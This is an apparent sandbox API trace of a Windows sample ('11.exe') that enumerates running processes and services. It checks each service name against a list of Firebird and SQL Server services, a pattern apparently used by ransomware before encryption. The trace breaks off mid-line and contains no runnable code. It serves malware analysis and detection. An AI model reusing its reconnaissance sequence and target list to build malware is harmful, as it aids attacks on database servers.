Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0204.999] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0204.999] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0205.000] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0205.000] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0205.001] lstrlenW (lpString="WMIADAP.exe") returned 11 [0205.001] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0205.002] lstrlenW (lpString="11.exe") returned 6 [0205.002] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0205.325] lstrlenW (lpString="cmd.exe") returned 7 [0205.326] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0205.327] lstrlenW (lpString="conhost.exe") returned 11 [0205.327] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0205.328] lstrlenW (lpString="mode.com") returned 8 [0205.328] Process32NextW (in: hSnapshot=0x35c, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0205.329] CloseHandle (hObject=0x35c) returned 1 [0205.329] Sleep (dwMilliseconds=0x1f4) [0206.306] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x889778 [0206.307] EnumServicesStatusExW (in: hSCManager=0x889778, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0206.307] GetLastError () returned 0xea [0206.307] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x4441488 [0206.307] EnumServicesStatusExW (in: hSCManager=0x889778, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4441488, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4441488, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0206.307] CloseServiceHandle (hSCObject=0x889778) returned 1 [0206.308] lstrlenW (lpString="Appinfo") returned 7 [0206.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0206.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0206.308] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0206.308] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0206.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0206.308] lstrlenW (lpString="AppXSvc") returned 7 [0206.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0206.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0206.308] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0206.308] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0206.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0206.308] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0206.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0206.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0206.308] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0206.308] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0206.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0206.308] lstrlenW (lpString="Audiosrv") returned 8 [0206.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0206.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0206.308] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0206.308] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0206.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0206.308] lstrlenW (lpString="BFE") returned 3 [0206.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0206.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0206.308] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0206.308] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0206.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0206.308] lstrlenW (lpString="BITS") returned 4 [0206.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0206.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0206.308] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0206.308] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0206.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0206.309] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0206.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0206.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0206.309] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0206.309] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0206.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0206.309] lstrlenW (lpString="CDPSvc") returned 6 [0206.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0206.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0206.309] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0206.309] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0206.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0206.309] lstrlenW (lpString="ClickToRunSvc") returned 13 [0206.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0206.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0206.309] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0206.309] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0206.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0206.309] lstrlenW (lpString="ClipSVC") returned 7 [0206.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0206.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0206.309] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0206.309] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0206.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0206.309] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0206.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0206.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0206.309] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0206.309] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0206.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0206.309] lstrlenW (lpString="CryptSvc") returned 8 [0206.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0206.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0206.309] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0206.309] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0206.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0206.309] lstrlenW (lpString="DcomLaunch") returned 10 [0206.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0206.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0206.310] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0206.310] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0206.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0206.310] lstrlenW (lpString="Dhcp") returned 4 [0206.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0206.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0206.310] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0206.310] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0206.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0206.310] lstrlenW (lpString="Dnscache") returned 8 [0206.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0206.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0206.310] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0206.310] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0206.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0206.310] lstrlenW (lpString="DoSvc") returned 5 [0206.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0206.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0206.310] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0206.310] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0206.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0206.310] lstrlenW (lpString="DPS") returned 3 [0206.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0206.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0206.310] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0206.310] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0206.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0206.310] lstrlenW (lpString="DusmSvc") returned 7 [0206.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0206.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0206.310] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0206.310] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0206.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0206.310] lstrlenW (lpString="EventLog") returned 8 [0206.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0206.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0206.311] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0206.311] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0206.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0206.311] lstrlenW (lpString="EventSystem") returned 11 [0206.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0206.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0206.311] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0206.311] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0206.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0206.311] lstrlenW (lpString="FontCache") returned 9 [0206.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0206.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0206.311] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0206.311] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0206.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0206.311] lstrlenW (lpString="gpsvc") returned 5 [0206.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0206.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0206.311] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0206.311] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0206.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0206.311] lstrlenW (lpString="iphlpsvc") returned 8 [0206.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0206.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0206.311] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0206.311] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0206.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0206.312] lstrlenW (lpString="KeyIso") returned 6 [0206.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0206.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0206.312] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0206.312] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0206.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0206.312] lstrlenW (lpString="LanmanServer") returned 12 [0206.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0206.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0206.312] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0206.312] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0206.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0206.312] lstrlenW (lpString="LanmanWorkstation") returned 17 [0206.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0206.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0206.312] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0206.312] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0206.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0206.312] lstrlenW (lpString="lfsvc") returned 5 [0206.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0206.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0206.312] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0206.312] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0206.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0206.312] lstrlenW (lpString="LicenseManager") returned 14 [0206.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0206.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0206.312] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0206.313] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0206.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0206.313] lstrlenW (lpString="lmhosts") returned 7 [0206.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0206.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0206.313] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0206.313] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0206.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0206.313] lstrlenW (lpString="LSM") returned 3 [0206.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0206.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0206.313] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0206.313] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0206.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0206.313] lstrlenW (lpString="MpsSvc") returned 6 [0206.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0206.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0206.313] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0206.313] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0206.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0206.313] lstrlenW (lpString="NcbService") returned 10 [0206.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0206.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0206.313] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0206.313] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0206.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0206.313] lstrlenW (lpString="netprofm") returned 8 [0206.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0206.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0206.313] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0206.313] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0206.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0206.314] lstrlenW (lpString="NlaSvc") returned 6 [0206.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0206.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0206.314] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0206.314] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0206.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0206.314] lstrlenW (lpString="nsi") returned 3 [0206.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0206.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0206.314] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0206.314] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0206.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0206.314] lstrlenW (lpString="PcaSvc") returned 6 [0206.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0206.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0206.314] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0206.314] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0206.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0206.314] lstrlenW (lpString="PlugPlay") returned 8 [0206.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0206.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0206.314] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0206.314] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0206.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0206.314] lstrlenW (lpString="Power") returned 5 [0206.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0206.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0206.314] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0206.314] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0206.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0206.314] lstrlenW (lpString="ProfSvc") returned 7 [0206.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0206.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0206.314] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0206.314] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0206.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0206.314] lstrlenW (lpString="RpcEptMapper") returned 12 [0206.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0206.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0206.315] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0206.315] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0206.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0206.315] lstrlenW (lpString="RpcSs") returned 5 [0206.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0206.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0206.315] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0206.315] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0206.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0206.315] lstrlenW (lpString="SamSs") returned 5 [0206.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0206.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0206.315] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0206.315] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0206.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0206.315] lstrlenW (lpString="Schedule") returned 8 [0206.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0206.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0206.315] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0206.315] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0206.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0206.315] lstrlenW (lpString="SecurityHealthService") returned 21 [0206.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0206.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0206.315] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0206.315] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0206.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0206.315] lstrlenW (lpString="SENS") returned 4 [0206.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0206.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0206.315] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0206.315] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0206.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0206.315] lstrlenW (lpString="ShellHWDetection") returned 16 [0206.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0206.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0206.316] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0206.316] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0206.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0206.316] lstrlenW (lpString="Spooler") returned 7 [0206.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0206.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0206.316] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0206.316] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0206.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0206.316] lstrlenW (lpString="SSDPSRV") returned 7 [0206.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0206.316] lstrcmpiW 